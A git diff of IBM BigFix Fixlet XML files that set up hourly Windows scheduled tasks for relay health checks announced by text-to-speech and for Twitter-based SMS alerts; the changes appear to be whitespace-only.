-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Location of IEM CLI Folder Here:
-action parameter query "IEMCLI" with description "Please enter the full path to the IEM CLI:" with default value "%22c:\IEM CLI\iem.exe%22"
-
-//IP or Hostname of Bigfix Server:
-action parameter query "BFServer" with description "Please enter the IP address or Hostname of the Bigfix Reporting Server (must be resolvable):" with default value "10.10.10.11"
-
-//Check for C:\BFAudio
-if {not exist folder "C:\BFAudio"}
-	dos mkdir "C:\BFAudio"
-endif
-
-//Create BFAudio Batfile
-delete __appendfile
-appendfile del "c:\BFAudio\*.txt"
-
-//login to API
-appendfile {parameter "IEMCLI" of action} login -q --server={parameter "BFServer" of action} --user={parameter "RemoteOP" of action} --password={parameter "RemoteOPPass" of action}
-
-//Create Results
-//Number of Clients Per BES Relay
-appendfile {parameter "IEMCLI" of action} get query --relevance "if (not ((number of ((it & "" - "" & multiplicity of it as string) of unique values whose (multiplicity of it > 1000) of (values of results of bes property ""relay""))) >= 1)) then (""Number of Clients Per BES Relay:PASS"") else (""Number of Clients Per BES Relay:FAIL"")" >> "c:\BFAudio\NumberOfClients.txt"
-//BES Relay Version
-appendfile {parameter "IEMCLI" of action} get query --relevance "(if (it contains ""'+ txFailed +'"") then ""BES Relay Version:FAIL"" else if (it contains ""'+ txWarning +'"") then ""BES Relay Version:WARN"" else ""BES Relay Version:PASS"") of concatenation of ( if ((preceding text of last ""."" of preceding text of last ""."" of item 0 of it) = (preceding text of last ""."" of preceding text of last ""."" of value of item 1 of it)) then (""' + txPassed + '"") else (""'+ txWarning +'"") ) of ((preceding text of first "","" of ((concatenation "","" of (values whose (it != ""Not Installed"") of results of BES Property ""BES Server Version"")) & "","")) , results whose (value of it != ""Not Installed"") of BES Property ""BES Relay Version"")" >> "c:\BFAudio\RelayVersion.txt"
-//BES Relay Service Stopped
-appendfile {parameter "IEMCLI" of action} get query --relevance "(if (not exists results whose (value of it as lowercase contains ""yes - stopped"") of bes property ""BES Relay Service Installed"") then (""BES Relay Service Stopped:PASS"") else (""BES Relay Service Stopped:FAIL""))" >> "c:\BFAudio\ServiceStopped.txt"
-//Download Folders
-appendfile {parameter "IEMCLI" of action} get query --relevance "if (not (applicable computer count of BES Fixlets whose (name of site of it = ""BES Support"" and id of it = 535 ) > 0)) then (""Download Folders:PASS"") else (""Download Folders:FAIL"")" >> "c:\BFAudio\DownloadFolders.txt"
-//BES Relay Free Disk Space
-appendfile {parameter "IEMCLI" of action} get query --relevance "if (exist preceding texts whose (it as integer < 500) of firsts "" "" of values of results whose (exists value of it) of bes properties whose (name of it = ""BES Health Checks::BES Relay Free Disk Space"")) then ""BES Relay Free Disk Space:FAIL"" else if (exist preceding texts whose (it as integer < 1000) of firsts "" "" of values of results of bes properties whose (name of it = ""BES Health Checks::BES Relay Free Disk Space"")) then ""BES Relay Free Disk Space:WARN"" else ""BES Relay Free Disk Space:PASS""" >> "c:\BFAudio\RelayDiskSpace.txt"
-
-//breadcrumb
-appendfile copy nul > "c:\BFAudio\bread.crumb"
-
-delete "c:\BFAudio\bfaudio.bat"
-copy __appendfile "c:\BFAudio\bfaudio.bat"
-
-//Create Scheduled Task
-dos schtasks /create /sc hourly /mo 1 /tn "BFAudio_HealthCheck" /tr "c:\BFAudio\bfaudio.bat" /ru {parameter "TaskAdmin" of action} /rp {parameter "TaskPass" of action}]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0
+  ID       : 6217
+  Author   : menglish
+  Domain   : BES
+  Imported : 2015-09-29T04:19:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=3>Action&nbsp;Parameters:</FONT></STRONG></P>
+<P>&nbsp;<INPUT onfocus="if (this.value == 'OP Name') {this.value = '';}" onblur="if (this.value == '') {this.value = 'OP Name';}" id=RemoteOP title="Enter the Exporting IEM Server Operator Name" value="OP Name" name=RemoteOP>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the&nbsp;IEM Server Operator Name<BR>&nbsp;<INPUT id=RemoteOPPass title="Enter the Exporting IEM Server Operator Password" type=password name=RemoteOPPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the&nbsp;IEM Server Operator Password&nbsp;<BR>&nbsp;<INPUT onfocus="if (this.value == 'bigfix\administrator') {this.value = '';}" onblur="if (this.value == '') {this.value = 'bigfix\administrator';}" id=TaskAdmin title="Enter the account to run the scheduled task" value=bigfix\administrator name=TaskAdmin>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the account name to run the scheduled task<BR>&nbsp;<INPUT id=TaskPass title="Enter the account password to run the scheduled task" type=password name=TaskPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the account password to run the scheduled task<BR><script>
+			document.body.ontakeaction = function() {
+				var theRemoteOP = document.getElementById( "RemoteOP" ).value;
+				var theRemoteOPPass = document.getElementById( "RemoteOPPass" ).value;
+				var theTaskAdmin = document.getElementById( "TaskAdmin" ).value;
+				var theTaskPass = document.getElementById( "TaskPass" ).value;
+				TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { RemoteOP: theRemoteOP , RemoteOPPass: theRemoteOPPass , TaskAdmin: theTaskAdmin , TaskPass: theTaskPass } );
+				return false;
+			}
+			</script><BR><STRONG>_____________________________________________________________________________________________________</STRONG> </P>
+<P><STRONG><FONT size=4>BigSpeak Audio Health Dashboard </FONT></STRONG></P><SPAN lang=EN>
+<P dir=ltr align=left>The BigSpeak Audio Health Dashboard enables Text To Speech (TTS) to notify operators of the current health status of their Bigfix environment.<BR>This example only provides part of the ‘BES Relay Health’ section of the ‘Deployment Health Checks’ dashboard, However you could build out the rest of the dashboard, or utilize this example in a whole different way.</P>
+<P dir=ltr align=left>The Checks that this example will report on are:</P>
+<UL>
+<P dir=ltr align=left>
+<LI>Number of Clients Per BES Relay
+<LI>BES Relay Version
+<LI>BES Relay Service Stopped
+<LI>Download Folders
+<LI>BES Relay Free Disk Space
+<P></P></LI></UL>
+<P dir=ltr align=left>Every hour (by default), the native windows TTS engine will inform you as follows:</P>
+<P dir=ltr align=left>"This is a Bigfix Audio Alert"</P>
+<UL>
+<P dir=ltr align=left>
+<LI>If all 5 health checks pass, you will hear, "The current Bigfix status is ALL CLEAR"
+<P></P>
+<P dir=ltr align=left></P>
+<LI>If one or more of the 5 checks FAIL, you will hear a combination of the following:
+<P></P></LI></UL>
+<DIR>
+<DIR>
+<P dir=ltr align=left>"The current Bigfix status for Number of Clients Per Relay is FAIL"<BR>"The current Bigfix status for Relay Version is WARNING"<BR>"The current Bigfix status for Relay Version is FAIL"<BR>"The current Bigfix status for Relay Service Stopped is FAIL"<BR>"The current Bigfix status for Download Folders is FAIL"<BR>"The current Bigfix status for Relay Disk Space is FAIL"<BR></P></DIR></DIR>
+<P style="MARGIN-RIGHT: 0px" dir=ltr align=left><STRONG>There are two tasks which are needed:</STRONG></P>
+<OL>
+<P dir=ltr align=left>
+<LI>BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0 (This TASK)
+<LI>BigSpeak Audio Health Dashboard </LI></OL><B>
+<P dir=ltr align=left>Initial Setup:</P></B>
+<P dir=ltr align=left>Note: This has only been tested on Windows 7.</P>
+<OL>
+<P dir=ltr align=left>
+<LI>Copy the ‘IEM CLI’ folder from your Bigfix server to a location on your windows 7 machine. The default location is: <I>C:\Program Files (x86)\BigFix Enterprise\BES Server\IEM CLI
+<P></P></I>
+<P dir=ltr align=left></P>
+<LI>Since this is the first time utilizing the IEM CLI, you will have to manually authenticate from the Windows 7 endpoint in order to trust the security certificate.
+<P></P>
+<OL type=a>
+<P dir=ltr align=left>
+<LI>From the windows command line browse to the iem.exe and type, "iem login"
+<LI>You will have to provide your operator credentials, then it will ask you to trust the certificate.</LI></OL></LI></OL>
+<P><B>Deploy: BigSpeak Audio Health Dashboard Scheduled Task Setup v1.0</P>
+<OL></B>
+<P dir=ltr align=left>
+<LI>On the ‘Description’ Tab, this task will ask for the following:
+<OL>
+<LI>The IEM Server Operator Name
+<LI>The IEM Server Operator Password
+<LI>The windows account name that will be used to execute the scheduled task
+<LI>The windows account password that will be used to execute the scheduled task<BR></LI></OL>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Two action parameters will also ask for input:
+<OL>
+<LI>The path to the IEM Command Line
+<LI>The IP Address or hostname of the Bigfix Reporting Server</SPAN><SPAN lang=EN><BR></LI></OL>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator<BR>
+<P></P>
+<P dir=ltr align=left></P>
+<LI>Upon completion, the scheduled task "BFAudio_HealthCheck" will have been created that will run every hour by default.</LI></OL>
+<P><B>Deploy: BigSpeak Audio Health Dashboard</P>
+<OL></B>
+<P dir=ltr align=left>
+<LI>Target the Windows 7 endpoint(s) that will be using TTS to notify the operator
+<OL>
+<LI>Note: Speakers must be turned on for this to work.</LI></OL></LI></OL></SPAN>]]></Description>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
+    <Category>IEM Maintenance</Category>
+    <Source>mike.english@us.ibm.com</Source>
+    <SourceReleaseDate>2015-09-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 29 Sep 2015 11:16:36 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Location of IEM CLI Folder Here:
+action parameter query "IEMCLI" with description "Please enter the full path to the IEM CLI:" with default value "%22c:\IEM CLI\iem.exe%22"
+
+//IP or Hostname of Bigfix Server:
+action parameter query "BFServer" with description "Please enter the IP address or Hostname of the Bigfix Reporting Server (must be resolvable):" with default value "10.10.10.11"
+
+//Check for C:\BFAudio
+if {not exist folder "C:\BFAudio"}
+	dos mkdir "C:\BFAudio"
+endif
+
+//Create BFAudio Batfile
+delete __appendfile
+appendfile del "c:\BFAudio\*.txt"
+
+//login to API
+appendfile {parameter "IEMCLI" of action} login -q --server={parameter "BFServer" of action} --user={parameter "RemoteOP" of action} --password={parameter "RemoteOPPass" of action}
+
+//Create Results
+//Number of Clients Per BES Relay
+appendfile {parameter "IEMCLI" of action} get query --relevance "if (not ((number of ((it & "" - "" & multiplicity of it as string) of unique values whose (multiplicity of it > 1000) of (values of results of bes property ""relay""))) >= 1)) then (""Number of Clients Per BES Relay:PASS"") else (""Number of Clients Per BES Relay:FAIL"")" >> "c:\BFAudio\NumberOfClients.txt"
+//BES Relay Version
+appendfile {parameter "IEMCLI" of action} get query --relevance "(if (it contains ""'+ txFailed +'"") then ""BES Relay Version:FAIL"" else if (it contains ""'+ txWarning +'"") then ""BES Relay Version:WARN"" else ""BES Relay Version:PASS"") of concatenation of ( if ((preceding text of last ""."" of preceding text of last ""."" of item 0 of it) = (preceding text of last ""."" of preceding text of last ""."" of value of item 1 of it)) then (""' + txPassed + '"") else (""'+ txWarning +'"") ) of ((preceding text of first "","" of ((concatenation "","" of (values whose (it != ""Not Installed"") of results of BES Property ""BES Server Version"")) & "","")) , results whose (value of it != ""Not Installed"") of BES Property ""BES Relay Version"")" >> "c:\BFAudio\RelayVersion.txt"
+//BES Relay Service Stopped
+appendfile {parameter "IEMCLI" of action} get query --relevance "(if (not exists results whose (value of it as lowercase contains ""yes - stopped"") of bes property ""BES Relay Service Installed"") then (""BES Relay Service Stopped:PASS"") else (""BES Relay Service Stopped:FAIL""))" >> "c:\BFAudio\ServiceStopped.txt"
+//Download Folders
+appendfile {parameter "IEMCLI" of action} get query --relevance "if (not (applicable computer count of BES Fixlets whose (name of site of it = ""BES Support"" and id of it = 535 ) > 0)) then (""Download Folders:PASS"") else (""Download Folders:FAIL"")" >> "c:\BFAudio\DownloadFolders.txt"
+//BES Relay Free Disk Space
+appendfile {parameter "IEMCLI" of action} get query --relevance "if (exist preceding texts whose (it as integer < 500) of firsts "" "" of values of results whose (exists value of it) of bes properties whose (name of it = ""BES Health Checks::BES Relay Free Disk Space"")) then ""BES Relay Free Disk Space:FAIL"" else if (exist preceding texts whose (it as integer < 1000) of firsts "" "" of values of results of bes properties whose (name of it = ""BES Health Checks::BES Relay Free Disk Space"")) then ""BES Relay Free Disk Space:WARN"" else ""BES Relay Free Disk Space:PASS""" >> "c:\BFAudio\RelayDiskSpace.txt"
+
+//breadcrumb
+appendfile copy nul > "c:\BFAudio\bread.crumb"
+
+delete "c:\BFAudio\bfaudio.bat"
+copy __appendfile "c:\BFAudio\bfaudio.bat"
+
+//Create Scheduled Task
+dos schtasks /create /sc hourly /mo 1 /tn "BFAudio_HealthCheck" /tr "c:\BFAudio\bfaudio.bat" /ru {parameter "TaskAdmin" of action} /rp {parameter "TaskPass" of action}]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BigTweet Scheduled Task Setup v2.1 (6113).bes b/Sites/Windows Management/Fixlets/Fixlets/BigTweet Scheduled Task Setup v2.1 (6113).bes
index 49a21fab9..542b0116d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/BigTweet Scheduled Task Setup v2.1 (6113).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/BigTweet Scheduled Task Setup v2.1 (6113).bes	
@@ -1,95 +1,95 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : BigTweet Scheduled Task Setup v2.1
-  ID       : 6113
-  Author   : menglish
-  Domain   : BES
-  Imported : 2015-06-26T08:56:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>BigTweet Scheduled Task Setup v2.1</Title>
-    <Description><![CDATA[<P><STRONG><FONT size=3>Action&nbsp;Parameters:</FONT></STRONG></P>
-<P>&nbsp;<INPUT onfocus="if (this.value == 'OP Name') {this.value = '';}" onblur="if (this.value == '') {this.value = 'OP Name';}" id=RemoteOP title="Enter the Exporting IEM Server Operator Name" value="OP Name" name=RemoteOP>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the&nbsp;IEM Server Operator Name<BR>&nbsp;<INPUT id=RemoteOPPass title="Enter the Exporting IEM Server Operator Password" type=password name=RemoteOPPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the&nbsp;IEM Server Operator Password&nbsp;<BR>&nbsp;<INPUT onfocus="if (this.value == 'bigfix\administrator') {this.value = '';}" onblur="if (this.value == '') {this.value = 'bigfix\administrator';}" id=TaskAdmin title="Enter the account to run the scheduled task" value=bigfix\administrator name=TaskAdmin>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the account name to run the scheduled task<BR>&nbsp;<INPUT id=TaskPass title="Enter the account password to run the scheduled task" type=password name=TaskPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the account password to run the scheduled task<BR><script>
-			document.body.ontakeaction = function() {
-				var theRemoteOP = document.getElementById( "RemoteOP" ).value;
-				var theRemoteOPPass = document.getElementById( "RemoteOPPass" ).value;
-				var theTaskAdmin = document.getElementById( "TaskAdmin" ).value;
-				var theTaskPass = document.getElementById( "TaskPass" ).value;
-				TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { RemoteOP: theRemoteOP , RemoteOPPass: theRemoteOPPass , TaskAdmin: theTaskAdmin , TaskPass: theTaskPass } );
-				return false;
-			}
-			</script><BR><STRONG>_____________________________________________________________________________________________________</STRONG> </P>
-<P><STRONG><FONT size=4>BigTweet</FONT></STRONG></P><SPAN lang=EN><FONT size=3 face=Calibri><FONT size=3 face=Calibri>
-<P dir=ltr align=left>This requires two tasks. 1)BigTweet Scheduled Task Setup v2.1 & 2)BigTweet v2.1</P>
-<P dir=ltr align=left>BigTweet allows you to interface with Twitter and their free highly scalable SMS system for notifications.</P>
-<P dir=ltr align=left>This example will use a BigFix Rest API Query within a scheduled task&nbsp;to report on the number of fixlets that are relevant in a specific site. If relevant fixlets are found, it will send a tweet (using twt) which will notify you via text messaging.</P><B>
-<P dir=ltr align=left>Setup:</P>
-<UL></B>
-<P dir=ltr align=left>
-<LI>Twitter SMS Relay Account
-<UL>
-<LI>Create a Twitter Account used for relaying SMS (example @BigTweet111)
-<LI>Under Account Settings, set ‘Tweet privacy’ to ‘Protect my Tweets’
-<P></P></LI></UL>
-<P dir=ltr align=left></P>
-<LI>BigFix Server
-<UL>
-<LI>Create the directory ‘c:\BigTweet’
-<LI>Download and install .net 4 </FONT></FONT></SPAN><A href="http://www.microsoft.com/en-us/download/details.aspx?id=17851"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#000080>http://www.microsoft.com/en-us/download/details.aspx?id=17851</FONT></FONT></FONT></SPAN></A>
-<P><FONT color=#000080></FONT></P></LI></UL><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>
-<P dir=ltr align=left><FONT color=#000080></FONT></P>
-<LI>TWT
-<UL>
-<LI>Download twt </FONT></FONT></SPAN><A href="https://code.google.com/p/twt/"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#800080>https://code.google.com/p/twt/</FONT></FONT></FONT></SPAN></A>
-<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Extract binary and xml configuration file to ‘c:\BigTweet’</SPAN></FONT></FONT>
-<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Configure OAUTH against your Twitter SMS Relay Account using command twt –config
-<P></P></LI></UL>
-<P dir=ltr align=left></P>
-<LI>Twitter Follow Accounts
-<UL>
-<LI>In order to receive these Twitter SMS Notifications, users must follow the Twitter SMS Relay Account and turn on Mobile Notifications for this user.</SPAN></LI></UL></LI></UL>
-<P><STRONG><FONT color=#ff0000>Note:</FONT></STRONG> By Default, this is scheduled to run once every hour.&nbsp;</P></FONT></FONT>]]></Description>
-    <Relevance>exists main gather service</Relevance>
-    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
-    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
-    <Category>IEM Maintenance</Category>
-    <Source>mike.english@us.ibm.com</Source>
-    <SourceReleaseDate>2015-06-24</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 24 Jun 2015 17:01:55 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "sitename" with description "Please enter the site name to check relevant fixlets against:" with default value "Enterprise Security"
-
-//Check for C:\BigTweet
-if {not exist folder "C:\BigTweet"}
-	dos mkdir "C:\BigTweet"
-endif
-
-//Create BigTweet Batfile
-delete __appendfile
-
-//login to API and obtain query results
-appendfile {preceding text of last "\" of (expand environment string of (image path of service "FILLDB")) & "\IEM CLI\iem.exe%22"} login -q --server=localhost --user={parameter "RemoteOP" of action} --password={parameter "RemoteOPPass" of action}
-
-appendfile {preceding text of last "\" of (expand environment string of (image path of service "FILLDB")) & "\IEM CLI\iem.exe%22"} get query --relevance "sum of (Applicable Computer Count of it as integer) of bes fixlets whose ((name of site of it = ""{parameter "sitename" of action}"") AND ((Applicable Computer Count of it > 0)))" > "C:\BigTweet\alert.xml"
-
-delete "c:\BigTweet\bigtweet.bat"
-copy __appendfile "c:\BigTweet\bigtweet.bat"
-
-//Create Scheduled Task
-dos schtasks /create /sc hourly /mo 1 /tn "BigTweet_{parameter "sitename" of action}" /tr "c:\BigTweet\bigtweet.bat" /ru {parameter "TaskAdmin" of action} /rp {parameter "TaskPass" of action}]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : BigTweet Scheduled Task Setup v2.1
+  ID       : 6113
+  Author   : menglish
+  Domain   : BES
+  Imported : 2015-06-26T08:56:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>BigTweet Scheduled Task Setup v2.1</Title>
+    <Description><![CDATA[<P><STRONG><FONT size=3>Action&nbsp;Parameters:</FONT></STRONG></P>
+<P>&nbsp;<INPUT onfocus="if (this.value == 'OP Name') {this.value = '';}" onblur="if (this.value == '') {this.value = 'OP Name';}" id=RemoteOP title="Enter the Exporting IEM Server Operator Name" value="OP Name" name=RemoteOP>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the&nbsp;IEM Server Operator Name<BR>&nbsp;<INPUT id=RemoteOPPass title="Enter the Exporting IEM Server Operator Password" type=password name=RemoteOPPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the&nbsp;IEM Server Operator Password&nbsp;<BR>&nbsp;<INPUT onfocus="if (this.value == 'bigfix\administrator') {this.value = '';}" onblur="if (this.value == '') {this.value = 'bigfix\administrator';}" id=TaskAdmin title="Enter the account to run the scheduled task" value=bigfix\administrator name=TaskAdmin>&nbsp;<FONT color=#0080ff><STRONG>&lt;&lt;&nbsp;</STRONG></FONT> Enter the account name to run the scheduled task<BR>&nbsp;<INPUT id=TaskPass title="Enter the account password to run the scheduled task" type=password name=TaskPass>&nbsp;&nbsp; <FONT color=#0080ff><STRONG>&lt;&lt;</STRONG></FONT>&nbsp; Enter the account password to run the scheduled task<BR><script>
+			document.body.ontakeaction = function() {
+				var theRemoteOP = document.getElementById( "RemoteOP" ).value;
+				var theRemoteOPPass = document.getElementById( "RemoteOPPass" ).value;
+				var theTaskAdmin = document.getElementById( "TaskAdmin" ).value;
+				var theTaskPass = document.getElementById( "TaskPass" ).value;
+				TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { RemoteOP: theRemoteOP , RemoteOPPass: theRemoteOPPass , TaskAdmin: theTaskAdmin , TaskPass: theTaskPass } );
+				return false;
+			}
+			</script><BR><STRONG>_____________________________________________________________________________________________________</STRONG> </P>
+<P><STRONG><FONT size=4>BigTweet</FONT></STRONG></P><SPAN lang=EN><FONT size=3 face=Calibri><FONT size=3 face=Calibri>
+<P dir=ltr align=left>This requires two tasks. 1)BigTweet Scheduled Task Setup v2.1 & 2)BigTweet v2.1</P>
+<P dir=ltr align=left>BigTweet allows you to interface with Twitter and their free highly scalable SMS system for notifications.</P>
+<P dir=ltr align=left>This example will use a BigFix Rest API Query within a scheduled task&nbsp;to report on the number of fixlets that are relevant in a specific site. If relevant fixlets are found, it will send a tweet (using twt) which will notify you via text messaging.</P><B>
+<P dir=ltr align=left>Setup:</P>
+<UL></B>
+<P dir=ltr align=left>
+<LI>Twitter SMS Relay Account
+<UL>
+<LI>Create a Twitter Account used for relaying SMS (example @BigTweet111)
+<LI>Under Account Settings, set ‘Tweet privacy’ to ‘Protect my Tweets’
+<P></P></LI></UL>
+<P dir=ltr align=left></P>
+<LI>BigFix Server
+<UL>
+<LI>Create the directory ‘c:\BigTweet’
+<LI>Download and install .net 4 </FONT></FONT></SPAN><A href="http://www.microsoft.com/en-us/download/details.aspx?id=17851"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#000080>http://www.microsoft.com/en-us/download/details.aspx?id=17851</FONT></FONT></FONT></SPAN></A>
+<P><FONT color=#000080></FONT></P></LI></UL><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>
+<P dir=ltr align=left><FONT color=#000080></FONT></P>
+<LI>TWT
+<UL>
+<LI>Download twt </FONT></FONT></SPAN><A href="https://code.google.com/p/twt/"><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN><FONT color=#800080>https://code.google.com/p/twt/</FONT></FONT></FONT></SPAN></A>
+<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Extract binary and xml configuration file to ‘c:\BigTweet’</SPAN></FONT></FONT>
+<LI><FONT size=3 face=Calibri><FONT size=3 face=Calibri><SPAN lang=EN>Configure OAUTH against your Twitter SMS Relay Account using command twt –config
+<P></P></LI></UL>
+<P dir=ltr align=left></P>
+<LI>Twitter Follow Accounts
+<UL>
+<LI>In order to receive these Twitter SMS Notifications, users must follow the Twitter SMS Relay Account and turn on Mobile Notifications for this user.</SPAN></LI></UL></LI></UL>
+<P><STRONG><FONT color=#ff0000>Note:</FONT></STRONG> By Default, this is scheduled to run once every hour.&nbsp;</P></FONT></FONT>]]></Description>
+    <Relevance>exists main gather service</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Relevance>(name of operating system starts with &quot;Win&quot;)</Relevance>
+    <Category>IEM Maintenance</Category>
+    <Source>mike.english@us.ibm.com</Source>
+    <SourceReleaseDate>2015-06-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 24 Jun 2015 17:01:55 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "sitename" with description "Please enter the site name to check relevant fixlets against:" with default value "Enterprise Security"
+
+//Check for C:\BigTweet
+if {not exist folder "C:\BigTweet"}
+	dos mkdir "C:\BigTweet"
+endif
+
+//Create BigTweet Batfile
+delete __appendfile
+
+//login to API and obtain query results
+appendfile {preceding text of last "\" of (expand environment string of (image path of service "FILLDB")) & "\IEM CLI\iem.exe%22"} login -q --server=localhost --user={parameter "RemoteOP" of action} --password={parameter "RemoteOPPass" of action}
+
+appendfile {preceding text of last "\" of (expand environment string of (image path of service "FILLDB")) & "\IEM CLI\iem.exe%22"} get query --relevance "sum of (Applicable Computer Count of it as integer) of bes fixlets whose ((name of site of it = ""{parameter "sitename" of action}"") AND ((Applicable Computer Count of it > 0)))" > "C:\BigTweet\alert.xml"
+
+delete "c:\BigTweet\bigtweet.bat"
+copy __appendfile "c:\BigTweet\bigtweet.bat"
+
+//Create Scheduled Task
+dos schtasks /create /sc hourly /mo 1 /tn "BigTweet_{parameter "sitename" of action}" /tr "c:\BigTweet\bigtweet.bat" /ru {parameter "TaskAdmin" of action} /rp {parameter "TaskPass" of action}]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/BigTweet v2.1 (6112).bes b/Sites/Windows Management/Fixlets/Fixlets/BigTweet v2.1 (6112).bes
index 98ba96063..9a4711d63 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/BigTweet v2.1 (6112).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/BigTweet v2.1 (6112).bes	
@@ -1,92 +1,92 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : BigTweet v2.1
-  ID       : 6112
-  Author   : menglish
-  Domain   : BES
-  Imported : 2015-06-26T08:56:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>BigTweet v2.1</Title>
-    <Description><![CDATA[<P><STRONG><FONT size=4>BigTweet</FONT></STRONG></P><SPAN lang=EN><FONT size=3 face=Calibri><FONT size=3 face=Calibri>
-<P dir=ltr align=left>This requires two tasks. 1)BigTweet Scheduled Task Setup v2.1 & 2)BigTweet v2.1</P>
-<P dir=ltr align=left>BigTweet allows you to interface with Twitter and their free highly scalable SMS system for notifications.</P>
-<P dir=ltr align=left>This example will use a BigFix Rest API Query within a scheduled task&nbsp;to report on the number of fixlets that are relevant in a specific site. If relevant fixlets are found, it will send a tweet (using twt) which will notify you via text messaging.</P><B>
-<P dir=ltr align=left>Setup:</P>
-<UL></B>
-<P dir=ltr align=left>
-<LI>Twitter SMS Relay Account
-<UL>
-<LI>Create a Twitter Account used for relaying SMS (example @BigTweet111)
-<LI>Under Account Settings, set ‘Tweet privacy’ to ‘Protect my Tweets’
-<P></P></LI></UL>
-<P dir=ltr align=left></P>
-<LI>BigFix Server
